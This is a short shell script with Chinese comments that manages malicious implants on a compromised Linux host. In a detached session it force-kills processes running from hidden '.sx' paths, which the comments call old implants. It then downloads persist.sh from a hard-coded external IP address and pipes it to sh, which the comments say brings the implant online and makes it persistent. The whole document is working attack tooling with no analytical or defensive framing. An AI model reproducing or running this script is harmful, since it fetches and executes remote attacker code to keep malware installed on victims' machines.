#!/bin/sh
# dedup2.sh - 安全去重（修正版 v2）
# 关键修复：setsid 独立会话执行，避免"杀父进程导致重启命令不执行"
# 流程：延迟 → 杀所有旧植入体 → 等待 → persist.sh（上线+持久化二合一）

setsid sh -c '
sleep 3
for p in /proc/[0-9]*; do
    e=$(readlink "$p/exe" 2>/dev/null)
    case "$e" in
        /tmp/.sx*|*/.sx_*|/root/.sx*|*/.cache/.sx*)
            kill -9 "${p#/proc/}" 2>/dev/null
            ;;
    esac
done
sleep 3
curl -fsSL http://207.57.122.131:8085/persist.sh | sh
' >/dev/null 2>&1 &

echo DEDUP2_STARTED
